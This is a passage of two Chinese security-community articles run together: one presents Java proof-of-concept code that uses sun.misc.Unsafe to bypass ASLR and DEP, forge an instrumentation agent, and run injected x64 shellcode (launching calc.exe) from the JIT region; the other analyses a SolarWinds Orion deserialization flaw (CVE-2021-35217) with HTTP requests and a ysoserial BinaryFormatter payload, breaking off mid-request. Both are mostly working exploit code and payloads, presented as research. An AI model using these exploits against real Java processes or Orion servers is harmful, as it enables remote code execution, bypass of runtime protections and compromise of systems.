:'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64
long jvmtiOffset=0x79a220; //for java_8_271_x64
jvmtiOffset=0x78a280; //for windows_java_8_301_x64
//jvmtiOffset=0xf9c520; //for linux_java_8_301_x64
List<Map<String, String>> patternList = new ArrayList<Map<String, String>>();
for (String pair : patterns.split(",")) {
String offset = pair.split(":")[0].replace("'", "").trim();
String value = pair.split(":")[1].replace("'", "").trim();
String delta = pair.split(":")[2].replace("'", "").trim();
Map pattern = new HashMap<String, String>();
pattern.put("offset", offset);
pattern.put("value", value);
pattern.put("delta", delta);
patternList.add(pattern);
}
int offset = 8;
int targetHexLength=8; //on linux,change it to 12.
for (int j = 0; j < 0x2000; j++) //down search
{
for (int x : new int[]{-1, 1}) {
long target = unsafe.getAddress(allocateMemory + j * x * offset);
String targetHex = Long.toHexString(target);
if (target % 8 > 0 || targetHex.length() != targetHexLength) {
continue;
}
if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) {
continue;
}
System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j);
for (Map<String, String> patternMap : patternList) {
targetHex = Long.toHexString(target);
if (targetHex.endsWith(patternMap.get("offset"))) {
String targetValueHex = Long.toHexString(unsafe.getAddress(target));
System.out.println("[!]bingo.");
if (targetValueHex.endsWith(patternMap.get("value"))) {
System.out.println("[ok]i found agent env:start get " + Long.toHexString(target) + ",at :" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j);
System.out.println("[ok]jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16)));
System.out.println("[ok]jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset));
//long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30;
long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset;
long agentAddress = getAgent(jvmtiAddress);
System.out.println("agentAddress:" + Long.toHexString(agentAddress));
Bird bird = new Bird();
bird.sayHello();
doAgent(agentAddress);
//doAgent(Long.parseLong(address));
bird.sayHello();
return;
}
}
}
}
}
}
private static long getAgent(long jvmtiAddress) {
Unsafe unsafe = getUnsafe();
long agentAddr = unsafe.allocateMemory(0x200);
long jvmtiStackAddr = unsafe.allocateMemory(0x200);
unsafe.putLong(jvmtiStackAddr, jvmtiAddress);
unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel);
unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l);
System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168));
unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0);
unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr);
unsafe.putLong(agentAddr + 0x10, agentAddr);
unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l);
//make retransform env
unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr);
unsafe.putLong(agentAddr + 0x28, agentAddr);
unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l);
unsafe.putLong(agentAddr + 0x38, 0);
unsafe.putLong(agentAddr + 0x40, 0);
unsafe.putLong(agentAddr + 0x48, 0);
unsafe.putLong(agentAddr + 0x50, 0);
unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l);
unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68);
unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l);
return agentAddr;
}
private static void doAgent(long address) throws Exception {
Class cls = Class.forName("sun.instrument.InstrumentationImpl");
for (int i = 0; i < cls.getDeclaredConstructors().length; i++) {
Constructor constructor = cls.getDeclaredConstructors()[i];
constructor.setAccessible(true);
Object obj = constructor.newInstance(address, true, true);
for (Field f : cls.getDeclaredFields()) {
f.setAccessible(true);
if (f.getName().equals("mEnvironmentSupportsRedefineClasses")) {
//System.out.println("mEnvironmentSupportsRedefineClasses:" + f.get(obj));
}
}
for (Method m : cls.getMethods()) {
if (m.getName().equals("redefineClasses")) {
//System.out.println("redefineClasses:" + m);
String newBirdClassStr = "yv66vgAAADIAHwoABgARCQASABMIABQKABUAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG5ldC9yZWJleW9uZC9CaXJkOwEACHNheUhlbGxvAQAKU291cmNlRmlsZQEACUJpcmQuamF2YQwABwAIBwAZDAAaABsBAAhjaGFuZ2VkIQcAHAwAHQAeAQARbmV0L3JlYmV5b25kL0JpcmQBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAAwALAAAADAABAAAABQAMAA0AAAABAA4ACAABAAkAAAA3AAIAAQAAAAmyAAISA7YABLEAAAACAAoAAAAKAAIAAAAGAAgABwALAAAADAABAAAACQAMAA0AAAABAA8AAAACABA=";
Bird bird = new Bird();
ClassDefinition classDefinition = new ClassDefinition(
bird.getClass(),
Base64.getDecoder().decode(newBirdClassStr));
ClassDefinition[] classDefinitions = new ClassDefinition[]{classDefinition};
try {
//Thread.sleep(5000);
m.invoke(obj, new Object[]{classDefinitions});
} catch (Exception e) {
e.printStackTrace();
}
}
}
//System.out.println("instrument obj:" + obj);
//System.out.println("constr:" + cls.getDeclaredConstructors()[i]);
}
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
}
Bird.java
package net.rebeyond;
public class Bird {
public void sayHello()
{
System.out.println("hello!");
}
}
编译，运行：
上述环境是win10+Jdk1.8.0_301_x64，注释中内置了linux+jdk1.8.0_301_x64和win10+Jdk1.8.0_271_x64指纹，如果是其他OS或者JDK版本，指纹库需要对应更新。
可以看到，我们成功通过纯Java代码实现了动态修改类字节码。
按照惯例，我提出一种新的技术理论的时候，一般会直接给出一个下载即可用的exp，但是现在为了合规起见，此处只给出demo，不再提供完整的利用工具。
### Java跨平台任意Native代码执行
#### 确定入口
上文中，我们介绍了在Windows平台下巧妙利用instrument的不恰当实现来进行进程注入的技术，当注入的目标进行为-1时，可以往当前Java进程注入shellcode，实现不依赖JNI执行任意Native代码。但是这个方法仅适用于Windows平台。只适用于Windows平台的技术是不完整的：）
上一小节我们在伪造JPLISAgent对象的时候，留意到redefineClasses函数里面有这种代码：
allocate函数的第一个参数是jvmtienv指针，我们跟进allocate函数：
void *allocate(jvmtiEnv * jvmtienv, size_t bytecount) {
void * resultBuffer = NULL;
jvmtiError error = JVMTI_ERROR_NONE;
error = (*jvmtienv)->Allocate(jvmtienv,
bytecount,
(unsigned char**) &resultBuffer);
/* may be called from any phase */
jplis_assert(error == JVMTI_ERROR_NONE);
if ( error != JVMTI_ERROR_NONE ) {
resultBuffer = NULL;
}
return resultBuffer;
}
可以看到最终是调用的jvmtienv对象的一个成员函数，先看一下真实的jvmtienv是什么样子：
对象里是很多函数指针，看到这里，如果你经常分析二进制漏洞的话，可能会马上想到这里jvmtienv是我们完全可控的，我们只要在伪造的jvmtienv对象指定的偏移位置覆盖这个函数指针即可实现任意代码执行。
构造如下POC：
先动态调试看一下我们布局的payload：
0x219d1b1a810为我们通过unsafe.allocateMemory分配内存的首地址，我们从这里开始布局JPLISAgent对象，0x219d1b1a818处的值0x219d1b1a820是指向jvmtienv的指针，跟进0x219d1b1a820，其值为指向真实的jvmtienv对象的指针，这里我们把他指向了他自己0x219d1b1a820，接下来我们就可以在0x219d1b1a820处布置最终的jvmtienv对象了。
根据动态调试得知allocate函数指针在jvmtienv对象的偏移量为0x168，我们只要覆盖0x219d1b1a820+0x168（0x219d1b1a988）的值为我们shellcode的地址即可将RIP引入shellcode。此处我们把0x219d1b1a988处的值设置为0x219d1b1a990，紧跟在0x219d1b1a988的后面，然后往0x219d1b1a990写入shellcode。
编译，运行：
进程crash了，报的异常是意料之中，仔细看下报的异常：
#EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00000219d1b1a990, pid=24840, tid=0x0000000000005bfc
内存访问异常，但是pc的值是0x00000219d1b1a990，这就是我们shellcode的首地址。说明我们的payload布置是正确的，只不过系统开启了NX（DEP），导致我们没办法去执行shellcode，下图是异常的现场，可见RIP已经到了shellcode：
#### 绕过NX(DEP)
上文的POC中我们已经可以劫持RIP,但是我们的shellcode部署在堆上，不方便通过ROP关闭DEP。那能不能找一块rwx的内存呢？熟悉浏览器漏洞挖掘的朋友都知道JIT区域天生RWE，而Java也是有JIT特性的，通过分析进程内存布局，可以看到Java进程确实也存在这样一个区域，如下图：
我们只要通过unsafe把shellcode写入这个区域即可。但是，还有ASLR，需要绕过ASLR才能获取到这块JIT区域。
#### 绕过ASLR
在前面我们已经提到了一种通过匹配指针指纹绕过ASLR的方法，这个方法在这里同样适用。不过，这里我想换一种方法，因为通过指纹匹配的方式，需要针对不同的Java版本做适配，还是比较麻烦的。这里采用了搜索内存的方法，如下：
package net.rebeyond;
import sun.misc.Unsafe;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class PocForRCE {
public static void main(String [] args) throws Throwable {
byte buf[] = new byte[]
{
(byte) 0x41, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
};
Unsafe unsafe = null;
try {
Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (sun.misc.Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
long size = buf.length+0x178; // a long is 64 bits (http://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html)
long allocateMemory = unsafe.allocateMemory(size);
System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));
Map map=new HashMap();
map.put("X","y");
//unsafe.putObject(map,allocateMemory+0x10,ints);
//unsafe.putByte(allocateMemory,);
PocForRCE poc=new PocForRCE();
for (int i=0;i<10000;i++)
{
poc.b(33);
}
Thread.sleep(2000);
for (int k=0;k<10000;k++)
{
long tmp=unsafe.allocateMemory(0x4000);
//unsafe.putLong(tmp+0x3900,tmp);
//System.out.println("alloce:"+Long.toHexString(tmp));
}
long shellcodeBed = 0;
int offset=4;
for (int j=-0x1000;j<0x1000;j++) //down search
{
long target=unsafe.getAddress(allocateMemory+j*offset);
System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j);
if (target%8>0)
{
continue;
}
if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffl))
{
if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l))
{
continue;
}
if (Long.toHexString(target).indexOf("000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb"))
{
System.out.println("maybe error address,skip "+Long.toHexString(target));
continue;
}
System.out.println("BYTE:"+unsafe.getByte(target));
//System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j));
if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48||unsafe.getByte(target)==(byte)0x66)
{
System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));
shellcodeBed=target;
break;
}
}
}
if (shellcodeBed==0)
{
for (int j=-0x100;j<0x800;j++) //down search
{
long target=unsafe.getAddress(allocateMemory+j*offset);
System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j);
if (target%8>0)
{
continue;
}
if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffffl))
{
if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l))
{
continue;
}
if (Long.toHexString(target).indexOf("0000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb"))
{
System.out.println("maybe error address,skip "+Long.toHexString(target));
continue;
}
System.out.println("BYTE:"+unsafe.getByte(target));
//System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j));
if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48)
{
System.out.println("get bigger cache address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target)));
shellcodeBed=target;
break;
}
}
}
}
System.out.println("find address end,address is "+Long.toHexString(shellcodeBed)+" mod 8 is:"+shellcodeBed%8);
String address="";
allocateMemory=shellcodeBed;
address=allocateMemory+"";
Class cls=Class.forName("sun.instrument.InstrumentationImpl");
Constructor constructor=cls.getDeclaredConstructors()[0];
constructor.setAccessible(true);
Object obj=constructor.newInstance(Long.parseLong(address),true,true);
Method redefineMethod=cls.getMethod("redefineClasses",new Class[]{ClassDefinition[].class});
ClassDefinition classDefinition=new ClassDefinition(
Class.class,
new byte[]{});
ClassDefinition[] classDefinitions=new ClassDefinition[]{classDefinition};
try
{
unsafe.putLong(allocateMemory+8,allocateMemory+0x10); //set **jvmtienv point to it's next memory region
unsafe.putLong(allocateMemory+8+8,allocateMemory+0x10); //set *jvmtienv point to itself
unsafe.putLong(allocateMemory+0x10+0x168,allocateMemory+0x10+0x168+8); //overwrite allocate function pointer to allocateMemory+0x10+0x168+8
for (int k=0;k<buf.length;k++)
{
unsafe.putByte(allocateMemory+0x10+0x168+8+k,buf[k]); //write shellcode to allocate function body
}
redefineMethod.invoke(obj,new Object[]{classDefinitions}); //trigger allocate
}
catch (Exception e)
{
e.printStackTrace();
}
}
private int a(int x)
{
if (x>1)
{
// System.out.println("x>1");
}
else
{
// System.out.println("x<=1");
}
return x*1;
}
private void b(int x)
{
if (a(x)>1)
{
//System.out.println("x>1");
this.a(x);
}
else
{
this.a(x+4);
// System.out.println("x<=1");
}
}
}
编译，运行，成功执行了shellcode，弹出计算器。
到此，我们通过纯Java代码实现了跨平台的任意Native代码执行，从而可以解锁很多新玩法，比如绕过RASP实现命令执行、文件读写、数据库连接等等。
### 小结
本文主要介绍了几种我最近研究的内存相关的攻击方法，欢迎大家交流探讨，文中使用的测试环境为Win10_x64、Ubuntu16.04_x64、Java
1.8.0_301_x64、Java 1.8.0_271_x64。由于文章拖得比较久了，所以行文略有仓促，若有纰漏之处，欢迎批评指正。 | 社区文章 |
# 前言
继推特@testanull的[研究文章](https://testbnull.medium.com/50-shades-of-solarwinds-orion-deserialization-part-1-cve-2021-35215-2e5764e0e4f2)，分析另一个RCE
CVE-2021–35217。
# 分析
漏洞位置出现在
<http://192.168.137.130:8787/Orion/PM/Controls/WSAsyncExecuteTasks.aspx>
在OnInit()初始化时，从request中反序列化出JSONData传递给ExecuteItem()方法。
跟进ExecuteItem()方法
123行到138行从JSONData中取ServerControlDefinition，用`|`，`=`分割放入`var parameters = new
Dictionary<String, String>();`这个字符串类型的键值对。
140行从parameters中取Control值加载控件，那么控件值可控。141行判断控件对象是否是ScmResourceBaseAsync类型，不是的话154行直接return。
那么先找ScmResourceBaseAsync类型的控件。
我用的是`~/Orion/PM/Controls/Update/GroupsMissingUpdateCtrl.ascx`
此时构造请求
POST /Orion/PM/Controls/WSAsyncExecuteTasks.aspx HTTP/1.1
Host: 192.168.137.130:8787
Content-Length: 3370
Cache-Control: max-age=0
Origin: http://192.168.137.130:8787
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.130:8787/Orion/PM/Controls/WSAsyncExecuteTasks.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __AntiXsrfToken=49d368c51e2b4bffbbeae1904e825850; Orion_IsSessionExp=TRUE; ASP.NET_SessionId=3iel4j1s0uuvy3n0dkpugw30; .ASPXAUTH=B57BE373D7D9F57BE66003BCBCD663097E6FD5979FA91CA0965925EF9F662DFAB27DBB05B583F996018A5F7D78F2C6A2359918791EE44E7DACF4031FAB5E393924CB249702AED0D100289B94588277792D5C27B5C4E3089926CA43FD2733491A66D224CFF83D7803E25CF52EAEC35C2723BAD30A762E1EBA62543BFB203B6E5B3CAC97CCBF32C724994B67E47320F56FC2498C105BB89DE7917FE3923401C0B86C6B1A8ACB583A763D89344AA7561E1F; XSRF-TOKEN=gHBB9ZU1MA4DQazR0Fburx9Yjf05BEMOTYPUmxGLL1s=
Connection: close
[{"ResourceId":null,"Hash":null,"ServerMethod":null,"ServerControlDefinition":"Control=~/Orion/PM/Controls/Update/GroupsMissingUpdateCtrl.ascx|config.ParametersSerial=test|config.PreLoadMethodSerial=test;test","Parameters":[]}]
`SolarWinds.PM.Web.dll!SolarWinds.PM.Web.Resources.ScmResourceBaseAsync.OnLoad(System.EventArgs
e)`断点之后
发现如果PreLoadMethodSerial不为空就会进入反序列化
而反序列化更是直接使用了BinaryFormatter，所以直接可以RCE。
# PoC
C:\Users\admin\Downloads\ysoserial-1.34\Release>ysoserial.exe -f binaryformatter -g SessionSecurityToken -c "ping localhost -t"
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uSWRlbnRpdHlNb2RlbCwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAADBTeXN0ZW0uSWRlbnRpdHlNb2RlbC5Ub2tlbnMuU2Vzc2lvblNlY3VyaXR5VG9rZW4BAAAADFNlc3Npb25Ub2tlbgcCAgAAAAkDAAAADwMAAADRBQAAAkAUU2VjdXJpdHlDb250ZXh0VG9rZW5AB1ZlcnNpb26DQBlTZWN1cmVDb252ZXJzYXRpb25WZXJzaW9umShodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzAyL3NjQAJJZINACUNvbnRleHRJZINAA0tleZ8BAUANRWZmZWN0aXZlVGltZYNACkV4cGlyeVRpbWWDQBBLZXlFZmZlY3RpdmVUaW1lg0ANS2V5RXhwaXJ5VGltZYNAD0NsYWltc1ByaW5jaXBhbEAKSWRlbnRpdGllc0AISWRlbnRpdHlADkJvb3RTdHJhcFRva2VumtQEQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFGNU5hV055YjNOdlpuUXVVRzkzWlhKVGFHVnNiQzVGWkdsMGIzSXNJRlpsY25OcGIyNDlNeTR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmowek1XSm1NemcxTm1Ga016WTBaVE0xQlFFQUFBQkNUV2xqY205emIyWjBMbFpwYzNWaGJGTjBkV1JwYnk1VVpYaDBMa1p2Y20xaGRIUnBibWN1VkdWNGRFWnZjbTFoZEhScGJtZFNkVzVRY205d1pYSjBhV1Z6QVFBQUFBOUdiM0psWjNKdmRXNWtRbkoxYzJnQkFnQUFBQVlEQUFBQXZ3VThQM2h0YkNCMlpYSnphVzl1UFNJeExqQWlJR1Z1WTI5a2FXNW5QU0oxZEdZdE9DSS9QZzBLUEU5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2lCTlpYUm9iMlJPWVcxbFBTSlRkR0Z5ZENJZ1NYTkpibWwwYVdGc1RHOWhaRVZ1WVdKc1pXUTlJa1poYkhObElpQjRiV3h1Y3owaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3dmNISmxjMlZ1ZEdGMGFXOXVJaUI0Yld4dWN6cHpaRDBpWTJ4eUxXNWhiV1Z6Y0dGalpUcFRlWE4wWlcwdVJHbGhaMjV2YzNScFkzTTdZWE56WlcxaWJIazlVM2x6ZEdWdElpQjRiV3h1Y3pwNFBTSm9kSFJ3T2k4dmMyTm9aVzFoY3k1dGFXTnliM052Wm5RdVkyOXRMM2RwYm1aNEx6SXdNRFl2ZUdGdGJDSStEUW9nSUR4UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJdVQySnFaV04wU1c1emRHRnVZMlUrRFFvZ0lDQWdQSE5rT2xCeWIyTmxjM00rRFFvZ0lDQWdJQ0E4YzJRNlVISnZZMlZ6Y3k1VGRHRnlkRWx1Wm04K0RRb2dJQ0FnSUNBZ0lEeHpaRHBRY205alpYTnpVM1JoY25SSmJtWnZJRUZ5WjNWdFpXNTBjejBpTDJNZ2NHbHVaeUJzYjJOaGJHaHZjM1FnTFhRaUlGTjBZVzVrWVhKa1JYSnliM0pGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZOMFlXNWtZWEprVDNWMGNIVjBSVzVqYjJScGJtYzlJbnQ0T2s1MWJHeDlJaUJWYzJWeVRtRnRaVDBpSWlCUVlYTnpkMjl5WkQwaWUzZzZUblZzYkgwaUlFUnZiV0ZwYmowaUlpQk1iMkZrVlhObGNsQnliMlpwYkdVOUlrWmhiSE5sSWlCR2FXeGxUbUZ0WlQwaVkyMWtJaUF2UGcwS0lDQWdJQ0FnUEM5elpEcFFjbTlqWlhOekxsTjBZWEowU1c1bWJ6NE5DaUFnSUNBOEwzTmtPbEJ5YjJObGMzTStEUW9nSUR3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrOWlhbVZqZEVsdWMzUmhibU5sUGcwS1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSStDdz09AQEBAQEL
编码一下
Response.Write(HttpServerUtility.UrlTokenEncode(Encoding.UTF8.GetBytes("AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uSWRlbnRpdHlNb2RlbCwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRv...QEL")));
POST /Orion/PM/Controls/WSAsyncExecuteTasks.aspx HTTP/1.1
Host: 192.168.137.130:8787
Content-Length: 3370
Cache-Control: max-age=0
Origin: http://192.168.137.130:8787
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.130:8787/Orion/PM/Controls/WSAsyncExecuteTasks.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
